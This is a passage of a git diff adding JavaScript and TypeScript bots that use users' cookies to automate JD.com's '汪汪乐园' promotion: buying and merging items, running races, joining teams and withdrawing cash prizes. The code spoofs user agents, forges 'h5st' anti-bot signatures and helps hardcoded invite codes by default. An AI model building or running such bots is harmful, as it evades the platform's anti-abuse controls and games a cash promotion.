getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo(); + await $.wait(2000) + if(!joyBaseInfo.fastBuyLevel){ + await $.wait(5000) + joyBaseInfo = await getJoyBaseInfo(); + } + if(!joyBaseInfo.fastBuyLevel){ + $.log(`出错,下地后跳出......`) + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList); + return false; + } + + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); + await $.wait(5000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + if (hotFlag) { + joyBaseInfo = await getJoyBaseInfo(); + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList); + return false; + } + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId, location) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1, joyId2) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + hotFlag = true; + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + if (data.code == '1006') { + hotFlag = true + } + } + } catch (e) { + $.logErr(e, resp) + hotFlag = true; + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level, activityJoyList) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRestart() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getGameMyPrize() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + $.Vos = data.data.gamePrizeItemVos + for (let i = 0; i < $.Vos.length; i++) { + if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { + $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) + $.id = $.Vos[i].prizeTypeVO.id + $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId + $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId + $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId + await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`提现结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.UA + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_run.ts b/jd_joy_park_run.ts new file mode 100644 index 0000000..a5ad7c4 --- /dev/null +++ b/jd_joy_park_run.ts @@ -0,0 +1,231 @@ +/** +汪汪乐园-跑步+组队 +默认翻倍到0.04红包结束,修改请设置变量 +export JD_JOY_PARK_RUN_ASSETS="0.04" +cron:30 0 * * * * +30 0 * * * * jd_joy_park_run.ts +new Env('极速版汪汪赛跑'); + +**/ + +import {get, post, o2s, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" +import {existsSync, readFileSync} from "fs"; +import {getDate} from "date-fns"; + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let assets: number = 0, captainId: string = '', h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + let account: { pt_pin: string, joy_park_run: number }[] = [] + + + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + + + assets = parseFloat(process.env.JD_JOY_PARK_RUN_ASSETS || '0.04') + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + let sum: number = 0, success: number = 0 + for (let t of res?.data?.detailVos || []) { + if (t.amount > 0 && getDate(new Date(t.createTime)) === new Date().getDate()) { + sum = add(sum, t.amount) + success++ + } else { + break + } + } + console.log('今日成功', success, '次') + console.log('今日收益', sum.toFixed(2), '元') + + res = await team('runningTeamInfo', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (!captainId) { + if (res.data.members.length === 0) { + console.log('成为队长') + captainId = res.data.captainId + } else if (res.data.members.length !== 6) { + console.log('队伍未满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + captainId = res.data.captainId + } else { + console.log('队伍已满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + } else if (captainId && res.data.members.length === 0) { + console.log('已有组队ID,未加入队伍') + res = await team('runningJoinTeam', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "captainId": captainId}) + if (res.code === 0) { + console.log('组队成功') + for (let member of res.data.members) { + if (member.captain) { + console.log('队长', member.nickName) + break + } + } + if (res.data.members.length === 6) { + console.log('队伍已满') + captainId = '' + } + } else { + o2s(res, '组队失败') + } + } else { + console.log('已组队', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + + + h5stTool = new H5ST('b6ac3', 'jdltapp;', fp_b6ac3) + await h5stTool.__genAlgo() + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + + let energy: number = res.data.runningHomeInfo.energy + console.log('💊 X', res.data.runningHomeInfo.energy, '个能量棒') + await wait(2000) + if (res.data.runningHomeInfo.nextRunningTime){ + console.log('⏳体力恢复中,还有', secondsToMinutes(res.data.runningHomeInfo.nextRunningTime / 1000)) + if (res.data.runningHomeInfo.nextRunningTime / 1000 < 300) { + await wait(res.data.runningHomeInfo.nextRunningTime) + res = await runningPageHome() + console.log('体力恢复完成,开始跑步....') + await wait(1000) + } else { + console.log('⏳等体力恢复在跑吧!'); + continue; + } + } else { + console.log('体力已恢复,开始跑步....') + } + + await startRunning(res, assets) + for (let i = 0; i < energy; i++) { + console.log('💉消耗能量棒跑步....') + res = await api('runningUseEnergyBar', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + //console.log(res.errMsg) + res = await runningPageHome() + await startRunning(res, assets) + await wait(1000) + } + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + await wait(2000) + } catch (e) { + console.log('Error', e) + await wait(3000) + } + } +})() + +async function startRunning(res: any, assets: number) { + if (!res.data.runningHomeInfo.nextRunningTime) { + console.log('终点目标', assets) + for (let i = 0; i < 5; i++) { + res = await api('runningOpenBox', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (parseFloat(res.data.assets) >= assets) { + let assets: number = parseFloat(res.data.assets) + res = await api('runningPreserveAssets', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + console.log('领取成功', assets) + break + } else { + if (res.data.doubleSuccess) { + console.log('翻倍成功', parseFloat(res.data.assets)) + await wait(10000) + } else if (!res.data.doubleSuccess && !res.data.runningHomeInfo.runningFinish) { + console.log('开始跑步', parseFloat(res.data.assets)) + await wait(10000) + } else { + console.log('翻倍失败') + break + } + } + } + } + await wait(3000) +} + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function runningPageHome() { + return get(`https://api.m.jd.com/?functionId=runningPageHome&body=%7B%22linkId%22:%22L-sOanK_5RJCz7I314FpnQ%22,%22isFromJoyPark%22:true,%22joyLinkId%22:%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&t=${Date.now()}&appid=activities_platform&client=ios&clientVersion=3.1.0`, { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5platform.jd.com', + 'User-Agent': 'jdltapp;', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +// 秒转时分秒 +function secondsToMinutes(seconds: number) { + let minutes: number = Math.floor(seconds / 60) + let second: number = Math.floor(seconds % 60) + return `${minutes}分${second}秒` +} + +// 小数加法 +function add(num1: number, num2: number) { + let r1: number, r2: number + try { + r1 = num1.toString().split('.')[1].length + } catch (e) { + r1 = 0 + } + try { + r2 = num2.toString().split('.')[1].length + } catch (e) { + r2 = 0 + } + let m: number = Math.pow(10, Math.max(r1, r2)) + return (num1 * m + num2 * m) / m +} \ No newline at end of file diff --git a/jd_joy_park_task.js b/jd_joy_park_task.js new file mode 100644 index 0000000..666fa17 --- /dev/null +++ b/jd_joy_park_task.js @@ -0,0 +1,373 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 1,7,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 1,7,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 1,7,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 1,7,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "VxQJC6Sr0QZkcOHwxoTjrw", + "oRY9YryofcNg71MZeKSZseKD6P6BJzKv2NBGxfiuJ20", + "EDPUVDhR7nUPh3jUGDJ_GyiLt77-wROqWVP2aesRUt8" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": 